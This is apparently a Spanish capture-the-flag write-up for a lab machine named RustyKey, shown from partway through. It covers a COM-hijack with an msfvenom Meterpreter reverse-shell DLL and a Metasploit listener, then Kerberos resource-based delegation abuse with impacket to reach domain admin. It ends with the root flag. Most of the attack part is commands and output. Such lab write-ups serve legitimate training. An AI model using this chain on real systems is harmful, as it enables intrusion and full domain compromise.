PSPath : Microsoft.PowerShell.Core\Registry::HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}\Inpro
cServer32
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}
PSChildName : InprocServer32
PSProvider : Microsoft.PowerShell.Core\RegistryEl CLSID {E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31} corresponde a zipfldr.dll (Compressed Folders Handler). Este se ejecuta cuando se abren archivos ZIP en el Explorador de Windows.
Vamos a generar un payload malicioso que sea una .dll con msfvenom para poder aprovechar este Hijacking 7-Zip.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP_ATTACKER> LPORT=<PORT> -f dll -o 7zhack.dllInfo:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: 7zhack.dllUna vez generado nuestro payload vamos a pasarnoslo a la maquina atacante, recordemos que teniamos una shell con el usuario a por evil-winrm por lo que vamos a utilizarla para desplazarnos a la carpeta Temp y subir el archivo asi:
C:\Windows\Temp
upload 7zhack.dllInfo:
Info: Uploading /home/kali/Desktop/rustykey/bloodyAD/7zhack.dll to C:\Windows\Temp\7zhack.dll
Data: 12288 bytes of 12288 bytes copied
Info: Upload successful!Ahora desde el usuario ee.reed vamos a desplazarnos a dicha carpeta y utilizar ese payload de esta forma:
Pero antes nos pondremos a la escucha con metasploit para obtener le meterpreter.
msfconsole -q
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT <PORT>
runInfo:
[*] Started reverse TCP handler on 10.10.14.79:7755Ahora estando a la escucha vamos a ejecutar la tecnica de COM Hijacking con el 7zhack.dll de nuestro payload para obtener la shell.
NOTA: Estamos intentando hacerlo en un
HKLM(Local Machine). Esto lo hacemos por que sabemos que el usuarioSUPPORTtiene escritura privilegiada en elHKLM.
reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\Windows\Temp\7zhack.dll" /fInfo:
The operation completed successfully.Veremos que ha funcionado y si esperamos un rato veremos lo siguiente en nuestra escucha:
[*] Started reverse TCP handler on 10.10.14.79:7755
[*] Sending stage (203846 bytes) to 10.10.11.75
[*] Meterpreter session 1 opened (10.10.14.79:7755 -> 10.10.11.75:60955) at 2025-10-15 12:57:58 -0700
meterpreter > getuid
Server username: RUSTYKEY\mm.turnerVemos que hemos obtenido acceso con el usuario mm.turner.
Escalate Privileges
Si nos vamos a nuestro BloodHound a ver los privilegios que tiene dicho usuario...

Vemos que somos del grupo DELEGATIONMANAGER y que este a su vez tiene los privilegios de AddAllowedToAct sobre el DC del dominio entero, por lo que podremos escalar privilegios maximos con esta vulnerabilidad de esta forma:
Primero vamos hacer que IT-COMPUTER3 puede obtener tickets de servicio para cualquier servicio en el DC. Esto lo hacemos mediante Resource-Based Constrained Delegation (RBCD)
shell
powershell.exe
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$Ahora vamos con dicho usuario exportarnos la variable del TGT de nuevo y ya que podemos obtener un TGS de cualquier servicio del DC, obtendremos el del backupadmin que es el que nos interesa.
ntpdate rustykey.htb ; impacket-getST -dc-ip dc.rustykey.htb -spn cifs/dc.rustykey.htb -impersonate backupadmin -k rustykey.htb/IT-COMPUTER3$:'Rusty88!'Info:
2025-10-15 13:55:01.774017 (-0700) +7.873133 +/- 0.015349 rustykey.htb 10.10.11.75 s1 no-leap
CLOCK: time stepped by 7.873133
/home/kali/Desktop/rustykey/bloodyAD/.venv/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating backupadmin
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in backupadmin@cifs_dc.rustykey.htb@RUSTYKEY.HTB.ccacheAhora vamos acceder por WinRM mediante este TGS obtenido de esta forma:
export KRB5CCNAME=backupadmin@cifs_dc.rustykey.htb@RUSTYKEY.HTB.ccache
impacket-wmiexec -k -no-pass rustykey.htb/backupadmin@dc.rustykey.htbInfo:
/home/kali/Desktop/rustykey/bloodyAD/.venv/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
rustykey\backupadminVeremos que ha funcionado, por lo que ya seremos administradores directamente, vamos a leer la flag del admin.
root.txt
efc86097c45744b15a656a1e51cbf774Last updated